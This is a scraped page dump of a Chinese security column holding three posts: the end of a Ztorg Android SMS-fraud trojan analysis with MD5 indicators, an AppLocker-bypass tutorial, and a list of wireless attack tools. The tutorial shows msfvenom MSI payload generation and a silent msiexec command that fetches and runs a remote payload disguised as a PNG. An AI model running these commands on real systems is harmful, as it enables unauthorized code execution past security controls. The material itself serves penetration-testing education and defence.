Play的木马，都在尝试从任何设备向用户发送短信。为此，攻击者正在使用很多方法来发送短信，以下就是部分“魔术浏览器”应用程序的代码。<img src=\"v2-1a2d6c400e5a7855787d373cc5ed906e.png\" data-rawwidth=\"769\" data-rawheight=\"616\"></p><p>总而言之，从“魔术浏览器”应用程序的代码中我们可以发现，它试图从11个不同的地方向受害者发送短信。通过这种方法，攻击者就能够从不同的Android版本和设备发送短信。此外，我们还找到另一个变异过的SMS.AndroidOS.Ztorg木马的恶意程序，试图通过“am”命令发送短信，虽然这种方法最终并没有行得通。<img src=\"v2-e829541731d0b80af46a5ae52be62c83.png\" data-rawwidth=\"775\" data-rawheight=\"220\"></p><h2><strong>与Ztorg恶意软件家族的关系</strong></h2><p>“魔术浏览器”恶意应用程序的升级方式与Ztorg木马程序类似，“魔术浏览器”和“噪声检测器”应用程序与其他Ztorg木马共享了许多具有相似之处的代码。此外，最新版本的“噪声检测器”应用程序在安装包的资产文件夹中包含加密文件“girl.png”。解密后，此文件就会变为Ztorg木马。</p><p>我们发现了几个与常规Ztorg木马一起安装的其他Ztorg模块功能相同的木马程序，而不是像“魔术浏览器”将附加的Ztorg模块作为独立木马从Google Play传播的情况。 2017年4月，我们发现一个名为“Money Converter”的恶意应用从Google Play安装了10000次以上，它使用辅助功能服务从Google Play安装应用程序。因此，即使在无法获得root权限的更新设备上，木马程序也可以默默地安装、运行并升级恶意应用程序，而无需与用户进行任何交互。</p><p><strong>获取root权限攻击的木马是如何演变成通过短信进行攻击的木马</strong></p><p>“噪音侦测器”和“魔术浏览器”的恶意应用程序功能虽然相同，但我们认为它们各有不同的用途。 “魔术浏览器”上传的时间较早，我们认为攻击者是在通过它来检测他们是否能够成功上传这种恶意功能。因为他们上传恶意应用程序后，并没有对初级版本进行过更新，它看起来像攻击者试图上传受Ztorg木马常规版本感染的应用程序。但是在上传过程中，他们临时决定在发布root权限功能的恶意软件时添加一些用来赚钱的恶意功能。而“噪声检测器”的更新则证明了这一点。</p><p>5月20日，他们上传了一个名为“噪声检测器”的简洁版应用程序。几天后，他们用另一个更简洁的版本来更新它。</p><p>然后，几天之后，他们往Google Play上传了一个更新版本，其中包含一个加密的Ztorg木马程序，但我们无法对其进行解密并执行它。上传后的第二天，他们终于用具有SMS功能的木马更新了之前的恶意应用程序，但仍然没有增加执行加密的Ztorg模块的可能性。很可能，如果该应用尚未从Google Play中删除，则他们将在下一阶段添加此功能，不过还有另一种可能，即尝试添加此功能时被Google发现了木马的存在，并导致其被删除。</p><h2><strong>总结</strong></h2><p>在Google Play中，我们发现了一个非常不寻常的通过SMS传播木马的恶意程序。它不仅使用了大约十几种方法来发送短信，而且还以非同寻常的方式初始化这些方法，通过使用CnC中的命令处理网页加载错误。它可以打开广告网址，此外，它与具有相同功能的Ztorg恶意软件相关，通常由Ztorg作为附加模块安装。</p><p>通过分析这些应用程序，我们发现攻击者正在从事点击攻击来劫持WAP计费。这意味着这些木马不仅可以打开广告网址，还可以发送含有优惠话费的木马短信以及打开网页，并通过用户帐号窃取资金。而为了隐藏这些活动，木马会关闭设备声音并删除所有接受的短信。</p><p>攻击者首次通过Google Play传播Ztorg模块，例如，在2017年4月，他们上传了一个模块，可以点击Google Play商店应用按钮安装甚至购买这些推广应用。</p><p>根据推测，攻击者是在尝试上传常规含有root攻击权限的Ztorg木马时为了增加收入而临时有了短信诈骗攻击的想法。</p><h2><strong>MD5</strong></h2><p>F1EC3B4AD740B422EC33246C51E4782F</p><p>E448EF7470D1155B19D3CAC2E013CA0F</p><p>55366B684CE62AB7954C74269868CD91</p><p>A44A9811DB4F7D39CAC0765A5E1621AC</p><p>1142C1D53E4FBCEFC5CCD7A6F5DC7177</p><br><blockquote>本文翻译自<a href=\"https://securelist.com/ztorg-from-rooting-to-sms/78775/\" data-editable=\"true\" data-title=\"Ztorg: from rooting to SMS\">Ztorg: from rooting to SMS</a>，如若转载，请注明原文地址： <a href=\"http://www.4hou.com/technology/5644.html\" data-editable=\"true\" data-title=\"为了更有效率地偷钱，Android root木马开始试水短信扣费诈骗\">为了更有效率地偷钱，Android root木马开始试水短信扣费诈骗</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-06-23T02:03:38.000Z","canComment":false,"commentPermission":"anyone","commentCount":3,"likeCount":1,"state":"published","isLiked":false,"slug":"27521904","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-06-23T10:03:38+08:00","links":{"comments":"/api/posts/27521904/comments"},"url":"/p/27521904","titleImage":"","summary":"","href":"/api/posts/27521904","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":3,"likesCount":1},"27521918":{"title":"绕过AppLocker系列之MSIEXEC的利用","author":"hou-hou-4-12","content":"<p>MSIEXEC是Windows操作系统中的一个实用程序，可用于从命令行安装或配置产品。 如果环境配置不正确，则使用.MSI文件就可以允许攻击者执行权限升级或绕过AppLocker规则。 本文的以下内容表明，当系统配置为不阻止所有用户执行MSI文件时，那么系统就得不到正确的保护，因为任何一个AppLocker的可执行规则都可以轻松绕过。</p><p>可以使用Metasploit 的MsfVenom来生成用于执行命令或有效载荷的.MSI文件。</p><code lang=\"text\">msfvenom -f msi -p windows/exec CMD=powershell.exe &gt; powershell.msi\nNo platform was selected, choosing Msf::Module::Platform::Windows from the payload\nNo Arch selected, selecting Arch: x86 from the payload\nNo encoder or badchars specified, outputting raw payload\nPayload size: 199 bytes\nFinal size of msi file: 159744 bytes</code><p><img src=\"v2-5d5ca95a524ccaaf91c0b7783c2a028a.png\" data-rawwidth=\"726\" data-rawheight=\"168\">使用 MsfVenom 生成 MSI 文件 </p><p>运行powershell.msi 将会打开一个PowerShell会话，这样就可以绕过AppLocker的规则了，即使已经设置了所有用户都不可以执行PowerShell。<img src=\"v2-cbb64fecf32b24bfb9861619e94453d9.png\" data-rawwidth=\"768\" data-rawheight=\"380\"></p><p>利用MSIEXEC 运行 PowerShell</p><p>同样可以利用这种方式运行cmd命令，即使Windows系统已经阻止了cmd命令的执行。</p><code lang=\"text\">msiexec /quiet /i cmd.msi</code><p><img src=\"v2-f5df417946431e20aa28088a3b7beb11.png\" data-rawwidth=\"589\" data-rawheight=\"357\">执行上述命令后，就会弹出cmd的窗口。</p><p><img src=\"v2-69a948123c4b879a6889a6181b3cc47c.png\" data-rawwidth=\"768\" data-rawheight=\"356\">另外，msiexec实用程序还可以运行已经重命名过的MSI文件，比如重命名为PNG的MSI文件。 这些文件可以在命令提示符中本地执行或从远程执行，当然也可以绕过AppLocker规则执行。</p><code lang=\"text\">msiexec /q /i http://192.168.100.3/tmp/cmd.png</code><p><img src=\"v2-8f97964adad880f51ea6f4d26dd17fbb.png\" data-rawwidth=\"768\" data-rawheight=\"264\">利用MSIEXEC执行PNG文件，弹出cmd</p><p>上述操作同样可以用在Meterpreter payload 执行MSI文件上。<img src=\"v2-63af42c4afd936bd5092e2e6eb947729.png\" data-rawwidth=\"726\" data-rawheight=\"169\"></p><p>利用MSI 执行 Meterpreter Payload<img src=\"v2-808bc8d6ac6e065d6048264ad2172a08.png\" data-rawwidth=\"726\" data-rawheight=\"165\"></p><p>利用MSIEXEC获得Meterpreter 会话</p><br><blockquote>本文翻译自<a href=\"https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/\" data-editable=\"true\" data-title=\"AppLocker Bypass – MSIEXEC\">AppLocker Bypass – MSIEXEC</a>，如若转载，请注明原文地址： <a href=\"http://www.4hou.com/technology/5612.html\" data-editable=\"true\" data-title=\"绕过AppLocker系列之MSIEXEC的利用 - 嘶吼 RoarTalk - 回归最本质的信息安全,互联网安全新媒体,4hou.com\" class=\"\">绕过AppLocker系列之MSIEXEC的利用 - 嘶吼 RoarTalk</a>   更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-06-23T02:34:24.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":0,"state":"published","isLiked":false,"slug":"27521918","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-06-23T10:34:24+08:00","links":{"comments":"/api/posts/27521918/comments"},"url":"/p/27521918","titleImage":"","summary":"","href":"/api/posts/27521918","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":0},"27521924":{"title":"不止Kali 和 Aircrack-ng | 无线渗透工具合集","author":"hou-hou-4-12","content":"<p>本文总计推荐了44款工具。</p><h2><strong>工具</strong></h2><p><a href=\"https://github.com/kylemcdonald/FreeWifi\" data-editable=\"true\" data-title=\"FreeWiFi\">FreeWiFi</a> – 如何获得免费的WiFi。</p><h2><strong>监控</strong></h2><p><a href=\"https://github.com/v1s1t0r1sh3r3/airgeddon\" data-editable=\"true\" data-title=\"Airgeddon\">Airgeddon</a> – 这是一个多用途的bash脚本，用于Linux系统审核无线网络。</p><p><a href=\"http://trac.assembla.com/giskismet\" data-editable=\"true\" data-title=\"GISKismet\">GISKismet</a> – 是一种无线侦察可视化工具，以灵活的方式表示使用Kismet收集的数据。</p><p><a href=\"http://www.nirsoft.net/utils/wifi_hotspot_starter.html\" data-editable=\"true\" data-title=\"HostedNetworkStarter\">HostedNetworkStarter</a> – 是Windows 7及更高版本的简单工具，可以使用Windows操作系统的Wifi托管网络功能轻松创建无线网络适配器的WiFi热点。</p><p><a href=\"http://www.metageek.com/products/inssider/\" data-editable=\"true\" data-title=\"inSSIDer\">inSSIDer</a> – WiFi故障排除和优化工具，将小型WiFi网络管理提升到一个全新的水平。</p><p><a href=\"https://www.kismetwireless.net/\" data-editable=\"true\" data-title=\"Kismet\">Kismet</a> – 是无线网络检测器，嗅探器和入侵检测系统。Kismet主要使用Wi-Fi（IEEE 802.11）网络，但可以通过插件扩展以处理其他网络类型。</p><p><a href=\"https://sourceforge.net/projects/linssid/\" data-editable=\"true\" data-title=\"LinSSID\">LinSSID</a> – Linux的图形无线扫描。</p><p><a href=\"http://www.netstumbler.com/\" data-editable=\"true\" data-title=\"NetStumbler\" class=\"\">NetStumbler</a> – Windows的工具，便于使用802.11b，802.11a和802.11g WLAN标准检测无线局域网。</p><p><a href=\"http://wellenreiter.sourceforge.net/\" data-editable=\"true\" data-title=\"wellenreiter\">wellenreiter</a> – 是无线网络发现和审计工具。</p><p><a href=\"https://github.com/hkm/whoishere.py\" data-editable=\"true\" data-title=\"whoishere.py\">whoishere.py</a> – WIFI客户端检测 – 通过为执行无线探测请求的设备分配名称来识别人员。</p><p><a href=\"http://www.nirsoft.net/utils/wifi_channel_monitor.html\" data-editable=\"true\" data-title=\"WiFiChannelMonitor\">WiFiChannelMonitor</a> – 是一款适用于Windows的实用程序，可在您选择的通道上捕获WiFi流量，在监视器模式下使用Microsoft网络监视器捕获驱动程序，并显示有关接入点和连接到它们的WiFi客户端的</p><h2><strong>扫描</strong></h2><p><a href=\"http://www.nirsoft.net/utils/wifi_information_view.html\" data-editable=\"true\" data-title=\"WifiInfoView \" class=\"\">WifiInfoView </a> – 扫描您所在地区的无线网络，并显示有关它们的广泛信息。</p><p><a href=\"http://www.nirsoft.net/utils/wireless_network_watcher.html\" data-editable=\"true\" data-title=\"wireless_network_watcher\">wireless_network_watcher</a> – 是一个小型实用程序，用于扫描您的无线网络，并显示当前连接到网络的所有计算机和设备的列表。</p><h2><strong>攻击：WEP / WPA / WPS / EAP</strong></h2><p><a href=\"https://www.aircrack-ng.org/\" data-editable=\"true\" data-title=\"Aircrack-NG\">Aircrack-NG</a> – 是一套完整的工具来评估WiFi网络安全。</p><p><a href=\"https://sourceforge.net/projects/airsnort/\" data-editable=\"true\" data-title=\"AirSnort\">AirSnort</a> – 是一种无线局域网（WLAN）工具，可以破解802.11b WEP网络上的加密密钥。</p><p><a href=\"http://www.willhackforsushi.com/?page_id=41\" data-editable=\"true\" data-title=\"Asleap\">Asleap</a> – 显示了专有的Cisco LEAP网络的严重缺陷。由于LEAP使用MS-CHAPv2的变体进行认证交换，因此易受加速脱机字典攻击。</p><p><a href=\"https://github.com/DominikStyp/auto-reaver\" data-editable=\"true\" data-title=\"auto-reaver\">auto-reaver</a> – 使用Reaver进行多个接入点攻击。</p><p><a href=\"https://github.com/Tylous/Auto_EAP\" data-editable=\"true\" data-title=\"Auto_EAP\">Auto_EAP</a> – 自动强力登录攻击EAP网络。</p><p><a href=\"http://www.willhackforsushi.com/?page_id=50br%20/%3E\" data-editable=\"true\" data-title=\"coWPAtty\">coWPAtty</a> – 使用基于PSK的身份验证对WPA / WPA2网络实施脱机字典攻击。</p><p><a href=\"https://github.com/mikeryan/crackle\" data-editable=\"true\" data-title=\"crackle\">crackle</a> – 破解和解密BLE加密。</p><p><a href=\"https://github.com/savio-code/fern-wifi-cracker\" data-editable=\"true\" data-title=\"fern-wifi-cracker\">fern-wifi-cracker</a> – Fern Wifi Cracker是一种无线安全审计和攻击软件程序，能够破解和恢复WEP / WPA / WPS密钥，并在基于无线或以太网的网络上运行其他基于网络的攻击。</p><p><a href=\"https://github.com/xtr4nge/FruityWifi\" data-editable=\"true\" data-title=\"FruityWiFi\">FruityWiFi</a> – 是一种开源工具来审核无线网络。它允许用户通过直接使用Web界面或通过向其发送消息来部署高级攻击。</p><p><a href=\"https://digi.ninja/metasploit/getwlanprofiles.php\" data-editable=\"true\" data-title=\"Metasploit的getwlanprofiles\">Metasploit的getwlanprofiles</a> – 是一个简单的Meterpreter脚本，当对Windows 7或Vista框运行时，将提取并下载所有使用Windows客户端设置的无线配置文件。</p><p><a href=\"https://github.com/entropy1337/infernal-twin\" data-editable=\"true\" data-title=\"infernal-twin\">infernal-twin</a> – 这是邪恶的双重攻击自动（无线黑客）。</p><p><a href=\"https://code.google.com/archive/p/killerbee/\" data-editable=\"true\" data-title=\"killerbee\">killerbee</a> – 是一个基于Python的框架和工具集，用于探索和利用ZigBee和IEEE 802.15.4网络的安全性。</p><p><a href=\"http://git.kali.org/gitweb/?p=packages/mdk3.git;a=summary\" data-editable=\"true\" data-title=\"mdk3\">mdk3</a> – 是一种利用常规IEEE 802.11协议弱点的概念验证工具。</p><p><a href=\"https://github.com/wiire/pixiewps/\" data-editable=\"true\" data-title=\"PixieWPS\">PixieWPS</a> – 用C编写的工具用来强制脱机使用某些AP（低分辨率灰尘攻击）的低或不存在的熵的WPS引脚。</p><p><a href=\"https://code.google.com/archive/p/reaver-wps/\" data-editable=\"true\" data-title=\"reaver-wps\">reaver-wps</a> – 对Wi-Fi保护设置（WPS）注册商PIN进行强力攻击，以恢复WPA / WPA2密码。</p><p><a href=\"http://wepcrack.sourceforge.net/\" data-editable=\"true\" data-title=\"WEPCrack\">WEPCrack</a> – 是一款用于打破802.11 WEP密钥的开源工具。</p><p><a href=\"https://github.com/DanMcInerney/wifijammer\" data-editable=\"true\" data-title=\"wifijammer\">wifijammer</a> – 持续阻止所有wifi客户端/路由器。</p><p><a href=\"https://wifiphisher.org/docs.html\" data-editable=\"true\" data-title=\"Wifiphisher\">Wifiphisher</a> – 针对Wi-Fi网络的自动网络钓鱼攻击。</p><p><a href=\"http://sid.rstack.org/static/articles/w/i/f/Wifitap_EN_9613.html\" data-editable=\"true\" data-title=\"Wifitap\">Wifitap</a> – 通过使用流量注入的WiFi网络进行通信的概念验证。</p><p><a href=\"https://code.google.com/archive/p/wifite/\" data-editable=\"true\" data-title=\"Wifite\">Wifite</a> – 连续攻击多个WEP，WPA和WPS加密网络。</p><p><a href=\"https://github.com/cyrus-and/zizzania\" data-editable=\"true\" data-title=\"zizzania\">zizzania</a> – 嗅探无线流量监听WPA握手，并仅倾倒适合解密的帧（一个信标+ EAPOL帧+数据）。为了加快这个过程，zizzania向需要握手的站发送IEEE 802.11 DeAuth帧，正确处理重发和重新连接，并 试图限制发送到每个站的DeAuth帧的数量。</p><h2><strong>防御</strong></h2><p><a href=\"https://github.com/SYWorks/waidps\" data-editable=\"true\" data-title=\"waidps\">waidps</a> – 无线审计，入侵检测与预防系统。</p><h2><strong>FAKE AP</strong></h2><p><a href=\"https://github.com/DanMcInerney/fakeAP\" data-editable=\"true\" data-title=\"fakeAP\">fakeAP</a> – 使用1个命令在Kali中创建假AP。</p><p><a href=\"https://github.com/savio-code/ghost-phisher\" data-editable=\"true\" data-title=\"ghost-phisher\">ghost-phisher</a> – 是使用Python编程编写的无线和以太网安全审计和攻击软件程序</p><p>语言和Python Qt GUI库，该程序能够模拟接入点和部署。</p><p><a href=\"http://digi.ninja/jasager/\" data-editable=\"true\" data-title=\"Jasager\">Jasager</a> – 是一个无线上网的中间工具，它使用假接入点诱使无人值守的受害者连接到您的网络。</p><p><a href=\"https://digi.ninja/karma/\" data-editable=\"true\" data-title=\"karma\">karma</a> – 是一组接入点软件的补丁，以使其不仅响应于自身的探测请求，而且对所请求的任何ESSID进行响应。</p><p><a href=\"https://github.com/xdavidhu/mitmAP\" data-editable=\"true\" data-title=\"mitmAP\">mitmAP</a> – 一个python程序来创建一个假的AP并嗅探数据。</p><p><a href=\"https://github.com/P0cL4bs/WiFi-Pumpkin\" data-editable=\"true\" data-title=\"WiFi-Pumpkin\">WiFi-Pumpkin</a> – 是一个开放源代码的安全工具，它提供了Rogue接入点到中间人和网络攻击。</p><h2><strong>本地</strong></h2><p><a href=\"https://github.com/Viralmaniar/Wifi-Dumper\" data-editable=\"true\" data-title=\"Wifi-Dumper\">Wifi-Dumper</a> – 转载Windows机器上连接的接入点的wifi配置文件和明文密码。</p><p><a href=\"https://github.com/LionSec/wifresti\" data-editable=\"true\" data-title=\"Wifresti\">Wifresti</a> – 在Windows，Linux和Mac OS中找到无线网络密码。</p><h2><strong>Android</strong></h2><p><a href=\"https://github.com/chrisk44/Hijacker\" data-editable=\"true\" data-title=\"Hijacker\">Hijacker</a> – Aircrack、Airodump、Aireplay、MDK3和Reaver GUI应用程序 – 需要监视器模式。</p><br><blockquote>如若转载，请注明原文地址： <a href=\"http://www.4hou.com/tools/5584.html\" data-editable=\"true\" data-title=\"不止Kali 和 Aircrack-ng | 无线渗透工具合集\">不止Kali 和 Aircrack-ng | 无线渗透工具合集</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-06-23T02:39:23.000Z","canComment":false,"commentPermission":"anyone","commentCount":1,"likeCount":45,"state":"published","isLiked":false,"slug":"27521924","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-06-23T10:39:23+08:00","links":{"comments":"/api/posts/27521924/comments"},"url":"/p/27521924","titleImage":"","summary":"","href":"/api/posts/27521924","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":1,"likesCount":45}},"User":{"hou-hou-4-12":{"isFollowed":false,"name":"嘶吼吼","headline":"嘶吼正式上线了（撒花！）网站地址：http://www.4hou.com/ 欢迎访问","avatarUrl":"https://pic4.zhimg.com/v2-2a66457c32eb25fad1b1f01feb61ab37_s.jpg","isFollowing":false,"type":"people","slug":"hou-hou-4-12","profileUrl":"https://www.zhihu.com/people/hou-hou-4-12","bio":"网络安全观察者","hash":"8cc9acba0448da624108afb3f26be573","uid":770292237832556500,"isOrg":false,"description":"嘶吼正式上线了（撒花！）网站地址：http://www.4hou.com/ 欢迎访问","isOrgWhiteList":false,"avatar":{"id":"v2-2a66457c32eb25fad1b1f01feb61ab37","template":"https://pic4.zhimg.com/{id}_{size}.jpg"}}},"Comment":{},"favlists":{}},"me":{},"global":{},"columns":{"roartalk":{"pins":[],"followersCount":1886,"creator":{"profileUrl":"https://www.zhihu.com/people/missryan","bio":"信息安全从业者,半条传媒狗;F.S.T核心成员","hash":"dc82f97f581a6023958485a06d4d3530","uid":39650022391808,"isOrg":false,"description":"传媒狗跨界信息安全行业；二级心理咨询师，欢迎大蜜妹子私信交流；你才是白帽子，你们全家都是白帽子，谢谢。没了。","isOrgWhiteList":false,"slug":"missryan","avatar":{"id":"ba6d36050","template":"https://pic1.zhimg.com/{id}_{size}.jpg"},"name":"Mystery"},"topics":[{"url":"https://www.zhihu.com/topic/19561983","id":"19561983","name":"信息安全"},{"url":"https://www.zhihu.com/topic/19554927","id":"19554927","name":"网络安全"},{"url":"https://www.zhihu.com/topic/19746460","id":"19746460","name":"互联网安全产品公司"}],"activateState":"activated","href":"/api/columns/roartalk","acceptSubmission":true,"firstTime":false,"postTopics":[{"postsCount":262,"id":3929,"name":"信息安全"},{"postsCount":224,"id":1567,"name":"网络安全"},{"postsCount":140,"id":38993,"name":"技术分析"},{"postsCount":38,"id":18104,"name":"移动安全"},{"postsCount":33,"id":2823,"name":"黑客 (Hacker)"},{"postsCount":30,"id":13124,"name":"个人信息安全"},{"postsCount":30,"id":1885,"name":"公共关系"},{"postsCount":22,"id":348,"name":"物联网"},{"postsCount":20,"id":126668,"name":"信息网络安全"},{"postsCount":17,"id":117238,"name":"PowerShell"},{"postsCount":16,"id":9796,"name":"恶意软件"},{"postsCount":14,"id":158403,"name":"2016 年美国大选"},{"postsCount":14,"id":17686,"name":"Android"},{"postsCount":14,"id":1355,"name":"Linux"},{"postsCount":14,"id":13846,"name":"DDoS"},{"postsCount":13,"id":77,"name":"iOS"},{"postsCount":13,"id":5231,"name":"谷歌 (Google)"},{"postsCount":13,"id":14116,"name":"系统安全"},{"postsCount":12,"id":1050,"name":"工具"},{"postsCount":12,"id":17912,"name":"漏洞"},{"postsCount":12,"id":167696,"name":"移动金融安全"},{"postsCount":12,"id":73849,"name":"软件安全"},{"postsCount":11,"id":113443,"name":"系统漏洞"},{"postsCount":11,"id":4311,"name":"资讯"},{"postsCount":10,"id":97,"name":"雅虎 (Yahoo!)"},{"postsCount":10,"id":39594,"name":"密码安全"},{"postsCount":9,"id":9388,"name":"黑客文化"},{"postsCount":9,"id":13844,"name":"僵尸网络"},{"postsCount":9,"id":151946,"name":"安全漏洞"},{"postsCount":9,"id":40,"name":"Facebook"},{"postsCount":9,"id":102424,"name":"NSA"},{"postsCount":7,"id":484,"name":"微软（Microsoft）"},{"postsCount":7,"id":5548,"name":"俄罗斯"},{"postsCount":7,"id":520,"name":"苹果公司 (Apple Inc.)"},{"postsCount":6,"id":85016,"name":"国家安全"},{"postsCount":6,"id":143422,"name":"企业信息安全"},{"postsCount":6,"id":68402,"name":"渗透测试"},{"postsCount":6,"id":4162,"name":"维基解密"},{"postsCount":6,"id":6366,"name":"Warez"},{"postsCount":6,"id":173191,"name":"黑客工具"},{"postsCount":6,"id":179939,"name":"Wana Decrypt0r 2.0（计算机病毒）"},{"postsCount":6,"id":6539,"name":"报道"},{"postsCount":6,"id":33379,"name":"联邦调查局"},{"postsCount":6,"id":781,"name":"数据安全"},{"postsCount":6,"id":797,"name":"Microsoft Windows"},{"postsCount":6,"id":1302,"name":"MySQL"},{"postsCount":6,"id":5708,"name":"手机安全"},{"postsCount":6,"id":4482,"name":"杀毒软件"},{"postsCount":5,"id":18953,"name":"计算机病毒"},{"postsCount":5,"id":28666,"name":"私人信息泄露"},{"postsCount":5,"id":119898,"name":"路由器安全"},{"postsCount":5,"id":12211,"name":"Google Play"},{"postsCount":5,"id":11587,"name":"XSS"},{"postsCount":5,"id":8874,"name":"软件后门"},{"postsCount":5,"id":319,"name":"Twitter"},{"postsCount":5,"id":6063,"name":"HTTPS"},{"postsCount":4,"id":121064,"name":"比特币 (Bitcoin) 交易平台"},{"postsCount":4,"id":103229,"name":"爱德华·斯诺登（Edward Snowden）"},{"postsCount":4,"id":688,"name":"打印机"},{"postsCount":4,"id":118249,"name":"数据库安全"},{"postsCount":4,"id":23332,"name":"Anonymous 匿名者（黑客组织）"},{"postsCount":4,"id":1727,"name":"客户端"},{"postsCount":4,"id":29478,"name":"网络钓鱼诈骗"},{"postsCount":4,"id":120932,"name":"metasploit"},{"postsCount":4,"id":23704,"name":"盘点"},{"postsCount":4,"id":133317,"name":"木马病毒"},{"postsCount":4,"id":9226,"name":"预测"},{"postsCount":4,"id":39796,"name":"用户数据泄露"},{"postsCount":4,"id":3667,"name":"卡巴斯基（Kaspersky）"},{"postsCount":4,"id":8649,"name":"垃圾邮件"},{"postsCount":4,"id":7576,"name":"风险控制"},{"postsCount":4,"id":898,"name":"PHP"},{"postsCount":4,"id":298,"name":"极客（Geek）"},{"postsCount":4,"id":155844,"name":"CTF(Capture The Flag)"},{"postsCount":4,"id":156328,"name":"Microsoft Edge 浏览器"},{"postsCount":4,"id":16712,"name":"比特币 (Bitcoin)"},{"postsCount":4,"id":159978,"name":"唐纳德·约翰·特朗普（Donald J. Trump）"},{"postsCount":4,"id":140,"name":"社交网络"},{"postsCount":4,"id":160767,"name":"代码注入"},{"postsCount":4,"id":100,"name":"Gmail"},{"postsCount":4,"id":17,"name":"Mac"},{"postsCount":3,"id":25693,"name":"操作系统内核"},{"postsCount":3,"id":116280,"name":"APT 攻击"},{"postsCount":3,"id":25,"name":"iPhone"},{"postsCount":3,"id":23658,"name":"中央情报局"},{"postsCount":3,"id":11096,"name":"优步（Uber）"},{"postsCount":3,"id":10545,"name":"DNS"},{"postsCount":3,"id":10528,"name":"网络监控"},{"postsCount":3,"id":120767,"name":"内网安全"},{"postsCount":3,"id":3527,"name":"MongoDB"},{"postsCount":3,"id":106515,"name":"网络诈骗"},{"postsCount":3,"id":22208,"name":"网络渗透"},{"postsCount":3,"id":53025,"name":"黑市"},{"postsCount":3,"id":3646,"name":"Java"},{"postsCount":3,"id":21630,"name":"系统补丁"},{"postsCount":3,"id":105888,"name":"服务器安全"},{"postsCount":3,"id":1836,"name":"自动柜员机 (ATM)"},{"postsCount":3,"id":7089,"name":"朝鲜"},{"postsCount":3,"id":769,"name":"JavaScript"},{"postsCount":3,"id":4012,"name":"社交产品"},{"postsCount":3,"id":177705,"name":"Year Zero CIA黑客计划"},{"postsCount":3,"id":104490,"name":"网络摄像头"},{"postsCount":3,"id":1204,"name":"Wi-Fi"},{"postsCount":3,"id":789,"name":"域名"},{"postsCount":3,"id":16212,"name":"GSM"},{"postsCount":3,"id":15567,"name":"程序漏洞"},{"postsCount":3,"id":179960,"name":"勒索软件"},{"postsCount":3,"id":172424,"name":"信息泄露 隐私 个人信息"},{"postsCount":3,"id":101,"name":"Google Chrome"},{"postsCount":3,"id":18024,"name":"无人机（Drone）"},{"postsCount":2,"id":33528,"name":"WMI"},{"postsCount":2,"id":4525,"name":".NET"},{"postsCount":2,"id":174403,"name":"大数据风控"},{"postsCount":2,"id":160641,"name":"Signal（Facebook 产品）"},{"postsCount":2,"id":159998,"name":"希拉里邮件门、叛国案、克林顿基金会丑闻等系列事件"},{"postsCount":2,"id":175,"name":"即时通讯 (IM)"},{"postsCount":2,"id":159679,"name":"互联网监控"},{"postsCount":2,"id":225,"name":"前端开发"},{"postsCount":2,"id":151727,"name":"企业安全"},{"postsCount":2,"id":350,"name":"人工智能"},{"postsCount":2,"id":140756,"name":"手机木马"},{"postsCount":2,"id":4253,"name":"云服务"},{"postsCount":2,"id":140171,"name":"网络安全设备"},{"postsCount":2,"id":5917,"name":"数据加密"},{"postsCount":2,"id":5979,"name":"Cisco（思科）"},{"postsCount":2,"id":135680,"name":"Docker"},{"postsCount":2,"id":122074,"name":"信用卡安全"},{"postsCount":2,"id":6064,"name":"SSL 证书"},{"postsCount":2,"id":472,"name":"美国"},{"postsCount":2,"id":119293,"name":"区块链(Blockchain)"},{"postsCount":2,"id":646,"name":"优酷"},{"postsCount":2,"id":4161,"name":"朱利安·保罗·阿桑奇（Julian Paul Assange）"},{"postsCount":2,"id":717,"name":"英国"},{"postsCount":2,"id":104259,"name":"通信安全"},{"postsCount":2,"id":4034,"name":"利比亚"},{"postsCount":2,"id":78628,"name":"账户安全"},{"postsCount":2,"id":847,"name":"英特尔 (Intel)"},{"postsCount":2,"id":56584,"name":"逻辑分析"},{"postsCount":2,"id":43412,"name":"计算机安全"},{"postsCount":2,"id":40588,"name":"UAC"},{"postsCount":2,"id":40217,"name":"泄密"},{"postsCount":2,"id":992,"name":"电子邮箱"},{"postsCount":2,"id":28354,"name":"域名安全"},{"postsCount":2,"id":23832,"name":"SHA-1"},{"postsCount":2,"id":1373,"name":"惠普 (HP)"},{"postsCount":2,"id":21992,"name":"网络防火墙"},{"postsCount":2,"id":21128,"name":"网络犯罪"},{"postsCount":2,"id":17530,"name":"ISP（互联网服务提供商）"},{"postsCount":2,"id":15637,"name":"命令行控制"},{"postsCount":2,"id":2042,"name":"Android 手机"},{"postsCount":2,"id":14101,"name":"IP 地址"},{"postsCount":2,"id":13776,"name":"Joomla!"},{"postsCount":2,"id":9152,"name":"FTP"},{"postsCount":2,"id":3633,"name":"网上银行"},{"postsCount":2,"id":12789,"name":"iCloud"},{"postsCount":2,"id":11608,"name":"巴拉克·侯赛因·奥巴马（Barack Hussein Obama）"},{"postsCount":2,"id":10767,"name":"Struts 2"},{"postsCount":2,"id":9703,"name":"互联网隐私"},{"postsCount":2,"id":3074,"name":"数据分析"},{"postsCount":2,"id":10442,"name":"个人隐私"},{"postsCount":1,"id":43648,"name":"密钥"},{"postsCount":1,"id":10036,"name":"Siri"},{"postsCount":1,"id":3278,"name":"WhatsApp"},{"postsCount":1,"id":3405,"name":"WordPress"},{"postsCount":1,"id":9438,"name":"人肉搜索"},{"postsCount":1,"id":2954,"name":"USB"},{"postsCount":1,"id":11192,"name":"开房记录"},{"postsCount":1,"id":11270,"name":"高通 (Qualcomm)"},{"postsCount":1,"id":11452,"name":"混淆"},{"postsCount":1,"id":11551,"name":"恶意代码"},{"postsCount":1,"id":2593,"name":"Internet 